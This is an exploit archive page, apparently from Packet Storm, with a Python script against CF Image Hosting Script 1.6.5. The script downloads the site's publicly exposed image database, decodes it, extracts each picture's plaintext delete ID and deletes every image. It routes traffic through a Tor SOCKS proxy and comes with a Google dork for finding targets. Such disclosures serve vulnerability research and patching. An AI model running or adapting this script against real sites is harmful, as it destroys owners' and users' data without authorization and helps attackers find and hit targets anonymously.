exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

CF Image Hosting Script 1.6.5 Privilege Escalation

CF Image Hosting Script 1.6.5 Privilege Escalation
Posted Jan 8, 2019
Authored by David Tavarez

CF Image Hosting Script version 1.6.5 suffers from a privilege escalation vulnerability.

tags | exploit
SHA-256 | 5eb3a7d3d1fd37031f7881bc3ed9379bf868eb0bc8c46b5d041c307f0fd16f01

CF Image Hosting Script 1.6.5 Privilege Escalation

Change Mirror Download
#!/usr/bin/env python
"""
Exploit Title: CF Image Hosting Script 1.6.5: Delete database
Google Dork: "Powered By CF Image Hosting script"
Date: 01/08/2019
Exploit Author: David Tavarez
Vendor Homepage: https://davidtavarez.github.io/
Software Link: http://forum.codefuture.co.uk/showthread.php?tid=73141
Version: 1.6.5
Tested on: Debian 9.6

By default, the database can be downloaded by any user. After decoding
the file the database should be unserialize. The DELETE ID is stored
in Plain Text, this ID can be use to delete a picture.

$ virtualenv cfexploit
$ source cfexploit/bin/activate
$ pip install phpserialize
$ pip install PySocks
$ python exploit.py http://127.0.0.1:8000

[-] Target: http://127.0.0.1:8000/
[-] Downloading the database...
[+] Decoding database...
[-] Finding pictues...
[+] Pictures found: 3
[+] Ready... let's do this! Deleting all pictures...
[+] Done.

"""
import phpserialize
import base64

import socks
import socket

import sys


def create_connection(address, timeout=None, source_address=None):
sock = socks.socksocket()
sock.connect(address)
return sock


socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS5, "127.0.0.1", 9150)

# patch the socket module
socket.socket = socks.socksocket
socket.create_connection = create_connection

import urllib2

if __name__ == '__main__':
if len(sys.argv) == 1:
print "ERROR: Provide a valid URL"
sys.exit(-1)
url = sys.argv[1]

ids = []

try:
print "[+] Target: {}".format(url)
print "[+] Downloading the database..."
response = urllib2.urlopen("{}/upload/data/imgdb.db".format(url))
print "[+] Decoding database..."
with open("imgdb.db.txt", "w+") as f:
f.write(base64.b64decode(response.read()))
print "[+] Finding pictues..."
for key, value in phpserialize.load(file("imgdb.db.txt")).iteritems():
ids.append(value.get('deleteid'))
print "[+] Pictures found: {}".format(len(ids))
print "[+] Ready... let's do this! Deleting all pictures..."
for id in ids:
urllib2.urlopen("{}/?d={}".format(url, id))
print "[+] Done."

except urllib2.URLError, ex:
if ex.reason == "Forbidden":
print "[-] ERROR: this version is not vulnerable."
except EOFError, e:
raise e

Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    0 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    0 Files
  • 23
    Apr 23rd
    0 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close